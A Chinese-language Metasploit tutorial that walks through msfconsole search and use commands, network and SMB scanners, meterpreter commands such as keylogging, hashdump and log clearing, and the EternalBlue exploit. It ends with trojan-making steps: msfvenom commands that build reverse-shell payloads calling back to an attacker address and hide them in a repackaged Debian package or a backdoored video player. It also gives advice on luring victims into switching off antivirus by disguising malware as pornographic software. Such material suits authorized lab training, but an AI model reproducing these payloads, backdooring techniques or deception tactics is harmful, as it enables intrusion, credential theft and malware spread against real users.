Metasploit是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),支持整个渗透测试过程的安全技术集成开发与应用环境。

1、基础库:metasploit基础库文件位于源码根目录路径下的libraries目录中,包括Rex,framework-core和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等。
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
2、模块:模块组织按照不同的用途分为6种类型的模块(Modules):
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
3、插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。
4、接口:包括msfconsole控制终端、msfcli命令行、msfgui图像化界面、armitage图形化界面以及msfapi远程调用接口。
5、功能程序:metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、c语言、javaScript语言等多种形式,并可以进行各种类型的编码。
渗透攻击是目前Metasploit最强大和最具吸引力的核心功能,Metasploit
框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,Metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。
MSF启动命令
msfconsole
MSF更新命令
apt-get update
apt-get install metasploit-framework
一个模块就是一个rb脚本
使用普通用户:msfadmin 密码:msfadmin 进行登录
修改root 用户密码
msfadmin@metasploitable:~$ sudo passwd root [sudol password for msfadmin:msfadmin
设置新密码
Enter new UNIX password: 123456
Retype new UNIX password: 123456
passwd: password updated successfully
切换到rodt 用户
msfadmin@ metasploitable:~$ su root
Password:123456
通过 help 查看帮助,可以对 msf 有个整体认识,可以看到msf 相关命令可以分成以下类型:
Core Commands
#核心命令
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令
connect 命令主要用于远程连接主机。一般用于内网渗选。比较常用的命令就是
connect 192.168.1.1 80
连接目标 80 端口
msf5 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get / [*] Connected to xuegod.cn:80
get / #提交一个get 请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
show 命令用的很多
“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info,options
例1:列出metasploit 框架中的所有渗透攻击模块 exploits。
msf5 > show exploits
#列出 metasploit 框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。
msf5>show payloads #列出metasploit 框架中的所有攻击载荷。
msf5> show auxiliary #列出metasploit 框架中的所有辅助攻击载荷。。
每列的含义是:
name:名称
Disclosure Date :披露日期
Rank:排名
Check:检查
Description:说明
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search搜索命令就很重要。
当你输入search -h会列出search命令的一些选项。
语法:Search Keywords 参数:关键宇
比如 msf5> search name:mysql #要查找mysql数据库的漏洞
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 宇段。
用户可以基于 Rank 对漏洞利用模块进行搜素,分类以及排序。
Rank 按照可靠性降序排列:
excellent:
漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great:
该漏洞利用程序有一个默认的目标系统,井且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
good :
该漏洞利用程序有一个默认目标系统,井且是这种类型软件的“常见情况〞(桌面应用程序的Windows 7,服务器的2012 等)。
normal :
该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average:
该漏洞利用程序不可靠或者难以利用。。
low :
对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)。
manual:
该漏洞利用程序不稳定或者难以利用井且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
例2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用path:命令查找在该路径下的所有模块。如果我要mysql下的所有mysql利用模块,那么就输入:
search path:mysql
例3:缩小查询范围
关键字:platform
作用:Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞,有时候我们会搜索到大量的模块,那么可以用platform:命令来缩小查询范围。使用platform命令后,所查询的结果会列出rank比较高的模块。如果我要查找mysql的漏洞,那么输入:
search platform:mysql
所有rank 为normal 的模块全部都屏蔽了,只剩下几个比较高级的利用模块。
例4:通过类型进行查找
这里要使用到 type:命令。
type :特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入:
msf5 > search type:exploit
例5:联合查找
要査找 mysql 的 exploit 相关漏洞。那么输入
msf5 > search name:mysql type:exploit

注:MySQL yaSSL CertDecoder::GetName Buffer Overflow 的意思是:
mysql yassl certdecoder:: getname 缓冲区溢出漏洞
例6:根据 CVE 搜索 exploit 相关模块
CVE 概:CVE 的英文全称是 “Common Vulnerabilities & Exposures” 公共漏洞和暴露。
CVE 就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。
使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息,解決安全问题。
use 使用参数。如你要使用到某个模块,就要使用到 use 命令
语法:use 模块的名字
实战背景:
2008 年微软爆出 ms08_067 漏洞,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000、 Windows XP 和 Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。
先查找出自己想要的 ms08_ 067 漏洞模块。
msf5 > search ms08_067

metasploit 支持模糊查找,不区分大小写
装载一个渗透攻击模块
msf5 > use exploit/windows/smb/ms08_067_netapi
我们可以看到使用 use 装载模块后我们的 bash提示符会变成对应的模块信息。稍后我们使用这个模块进行攻击。
msf5 exploit (windows/smb/ms08 067 netapi) > back #back 退出当前调用的模块
info:显示模块的相关信息。
方法1:info 模块名称
msf5 > info exploit/windows/smb/ms08_067 netapi
方法2:use 装载模块后直接使用 info
msf5 > use exploit/windows/smb/ms08_067 netapi




msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 172.16.132.138RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/PATH => /cms/
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
modules/auxiliary/scanner/discovery/目录中。
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
可以使用arp_sweep来枚举本地局域网中的所有活跃主机。
msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 172. 16.132.160/24
RHOSTS => 172.16.132.160/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/pontscan/ftpbounce
auxiliary/scanner/portscan/tcp
一般情况下推荐使用syn
端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 172.16.132.138
RHOSTS => 172.16.132.138
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit




使用auxiliary/sniffer 下的 psnuffile 模块进行密码嗅探

msf5 > search psnuffle
msf5 > use auxiliarv/sniffer/psnuffle
查看 psnuffle 的模块作用:
msf5 auxiliary(sniffer/psnuffle) > info
Description:
This module sniffs passwords like dsniff did in the past #这个 psnuffle 模快可以像以前的dsniff命令一样,去嗅探密码,只支持 pop3、imap、 ftp.、HTTP GET 协议
扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、綜合性的网络嗅探工具包。






简单网络管理协议 (SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议 (application layer protocol)、数据库模型 (database scherna) 和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。








SMB 概述:服务路消息块 (Server Message Block.缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩号为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共亭计算机文件、打印机、串行端口和通讯等资源。
经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。
使用smb_version 基于 SMB 协议扫描版本号

msf5 > use auxiliary/scanner/smb/smb_ version
设置扫描目标,注意多个目标使用逗号+空格隔开
msf5 auxiliary(scanner/smb/smb_version) > show options

#设置

msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.56, 192.168.1.180
注:192.168.1.56 后面的逗号和 192.168.1.180 之间是有空格的
msf5 auxiliary(scanner/smb/smb version) > run

可以扫描出来操作系统的版本号,版本号很准确。
使用smb_enurshavies 基于 SMB 协议扫共享文件(账号、密码)
SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会重满足我们的需求。
我们到 Windows 中启用一下共享服务。


msf5 > use auxiliary/scanner/smb/smb enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > show options
扫描 192.168.1.53到 192.168.1.60 的机器
msf5 auxiliary(scanner/smb/smb enumshares) > set RHOSTS 192.168.1.560
如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户,密码没有设置。
msf5 auxiliary(scanner/smb/smb enumshares) > set SMBUser administrator
msf5 auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456 msf5 auxiliary(scanner/smb/smb_enumshares) > run

可以看到有 1 个是我们前面设置的xuegod 共享文件目录还有 4个是隐藏的共享目录。
使用smb lookupsid 扫描系统用户信息 (SID 枚举)

msf5 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.1.56
msf5 auxiliary(scanner/smb/smb lookupsid) > set SMBUser administrators msf5 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf5 auxiliary(scanner/smb/smb lookupsid) > run
msf5 auxiliary (scanner/smb/smb_Lookupsid)>run

查看ssh 服务的版本信息
msf5 > use auxiliary/scanner/ssh/ssh_version

msf5 auxiliary(scanner/ssh/ssh version) > show options
msf5 auxiliary(scanner/ssh/ssh version) > set RHOSTS 192.168.1.180

msf5 auxiliary(scanner/ssh/ssh version) > run

对SSH 暴力破解


查看ftp 服务的版本信息



ftp 匿名登录扫描

ftp 暴力破解
-p
-payload
指定需要使用的payload (攻击载荷)
-f
--format
指定输出格式
-1
--list
列出指定模块的所有资源
-n
-nopsled
为payload预先指定一个NOP 滑动长度
-e
encoder
[encoder]
指定需要使用的encoder (编码器)
-a
-arch
指定payload的目标架构
--platform
指定payload的目标平台
-S
space
设定有效攻击载荷的最大长度-b
--bad-chars
设定规避字符
-I
--iterations
指定payload 的编码次数
-c
-add-code
指定一个附加的win32 shellcode文件
-x
--template
指定一个自定义的可执行文件作为模板
-k
--keep
保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options
列举payload的标准选项
-o
--out
保存payload
-v
--var-name
指定一个自定义变量,以确定输出格式
--shellest
最小化生成payload
-h
--help
查看帮助选项
--help-formats
查看msf支持的输出格式列表
meterpreter 是一个高级的,动态的,可拓展的Payload,出现meterpreter 我们就有了shell,可以执行非常多的命令,去操控远端设备。
background 将Meterpreter 终端隐藏在后台
bgkill 杀死一个背景meterpreter脚本
bglist 提供所有正在运行的后台脚本的列表
bgrun 作为一个后台线程运行脚本
channel 显示活动频道
close 关闭通道
exit 终止meterpreter会话
help 帮助菜单
interact 与通道进行交互
irb 进入Ruby 脚本模式
migrate 切换进程
quit 终止meterpreter会话
read 从通道读取数据
run 执行以后它选定的meterpreter脚本
use 加载meterpreter的扩展
write 将数据写入到一个通道
cd 更改目录对受害人
del 删除文件对受害人
getlwd 打印本地目录
getwd 打印工作目录
lcd 更改本地目录
lpwd 打印本地目录
ls 列出在当前目录中的文件列表
mkdir 在受害者系统上的创建目录
pwd 输出工作目录
rm 删除文件
rmdir 受害者系统上删除目录
upload 从攻击者的系统往受害者系统上传文件
cat 查看文件内容
edit 编辑文件
download 从受害者系统文件下载
search 搜索文件
ipconfig 显示网络接口的关键信息,包括 IP 地址、 等。
portfwd 端口转发
route 查看或修改受害者路由表
clearav 清除了受害者的计算机上的事件日志
drop_token 被盗的令牌
execute 执行命令
getpid 获取当前进程 ID (PID)
getprivs 尽可能获取尽可能多的特权
getuid 获取作为运行服务器的用户
kill 终止指定 PID 的进程
ps 列出正在运行的进程
reboot 重新启动受害人的计算机
reg 与受害人的注册表进行交互
rev2self 在受害者机器上调用 RevertToSelf()
shell 获取系统的控制台shell
shutdown 关闭了受害者的计算机
steal_token 试图窃取指定的 (PID) 进程的令牌
sysinfo 获取有关受害者计算机操作系统和名称等的详细信息
quit 关闭当前的Meterpreter 会话,返回MSF终端
enumdesktops 列出所有可访问台式机
getdesktop 获取当前的 meterpreter 桌面
idletime 检查长时间以来,受害者系统空闲进程
keyscan_dump 键盘记录软件的内容转储
keyscan_start 启动时与如Word或浏览器的进程相关联的键盘记录软件
keyscan_stop 停止键盘记录软件
screenshot 屏幕快照
set_desktop 更改 meterpreter 桌面
uictl 启用用户界面组件的一些控件
getsystem 获得系统管理员权限
hashdump 抓取哈希密码 (SAM) 文件中的值
请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。
timestomp 操作修改,访问,并创建一个文件的属性
sessions 查看已经成功获取的会话。-i选项,切入后台会话
routesysinfo 查看路由信息,设置路由查看系统信息
PostgreSQL: 世界上最先进的开源关系数据库 Relational 关系型
扩展:PostgreSQL 和 MySQL 数据的应用场景区别
从应用场景来说,PostgreSQL 重加适合严格的企业应用场景(比如金融、电信、ERP、CRM).而MySQL 更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景
手动启动数据库
root@xuegod53:~# systemctl start postgresql
root@xuegod53:~# systemctl enable postgresql #设置成开机启动数据库,我们要经常用
事情背景:
2017年GitHub 上公开了 CVE-2017-8464 漏洞的 metasploit-framework 利用模块。利用此模块在Windows 10 x64 (Build 14393)版本上测试有效。
现在此模块已经加入 metasploit 中了。
通过执行 cve_ 2017_8464_Ink_rce.rb模块,将生成大量的.ink 文件(对应盘符从D到z)和要加载的.dll 文件(后门文件)。将所有样本文件拷到U盘里,然后将U盘插到 Windows7 机器上,默认自动执行:

环境介绍
永恒之蓝概述:
永恒之蓝是指 2017 年4月14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含 “永恒之蓝”工具,“永恒之蓝”利用windows 系统的 SMB 漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒素病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
windows7是2009年发布。
官方描述:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/m$17-010
永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010是Windows 系統一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虛拟货币挖矿机等恶意程序。








msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/×64/shell/reverse_tcp















show options

















资源脚本命令
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令
数据库后端命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap 井自动记录输出
db_rebuild_cache 重建数据库存储的模块高速緩存:
db_status 品示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证后端命令
creds 列出数据库中的所有凭据
制作 Windows 恶意软件获取 shell
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击。比如我们向目标发一个含有后门的程序,或者是一个word 文档、pdf 文件。想要达到效果同时也要利用好社会工程学,来诱导受害者执行恶意程序。
客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检測,所以我们所设计的恶意软件可以利用人的劣根性,比如我们格恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他安耐不住关闭安全防护软件执意要运行恶意程序,那么他就中招了。当然这种取巧的办法井不能解决所有问題,我们需要利用免杀来躲避安全软件的查杀。
msfvenom 是msfpayload,msfencode 的结合体,可利用msfvenom 生成木马程序,井在目标机上执行,在本地监听上线。

生成西瓜影音.exe后门程序









模拟黑客给真正的快播软件加上后门
有没有,当杀毒报有毒,你还运行的软件情况?
当你遇到以下情况:+
windows 激活工具,私服客户端,盗版游戏,看片神器,裸聊神器,彩票,抢紅包软件,PS 激活
工具,CRT激活工具,注册机。
你还会添加信任,心里还很开心运行?
1、先下载一个正常的快播软件-我已经下载绿色版本,免安装的快播软件

先查看主程序会调用哪些附加的小程序,然后把 payload 后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时报错。






1、使用msfvenom 生成 linux 可执行文件
root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/×64/meterpreter/reverse tcp LHOST=192.168.1.53 LPORT=4444 -b “\x00” -f elf -o /var/www/html/xuegod
参数和生成 Windows 差不多。
–platform 指定 linux
-f指定elf 即linux 操作系统的可执行文件类型。
-b 去掉坏字符
制作悉意软件包使用–download-only 方式下载软件包不进行安装
注:freesweep
root@xuegod53:~# apt --download-only install freesweep
将软件包移动到root 目录
root@ xuegod53:~#my /var/cache/apt/archiives/freesweep 1.0.1-1 amd64.deb ~/解压软件包到 free 目录
root@ xueqod53:~# dpkg -x freesweep 1.0.1-1 amd64.deb free
生成恶意代码到软件包源文件中
root@xuegod53:~ # msfvenom -a ×64 --platform linux -p linux/×64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b mxoom -I 10 -f elf -o /root/free/us/games/freesweep_sources
拓展:生成软件包时无论是 payload 的和软件包信息都需要选择能够在目标操作系统上执行的。







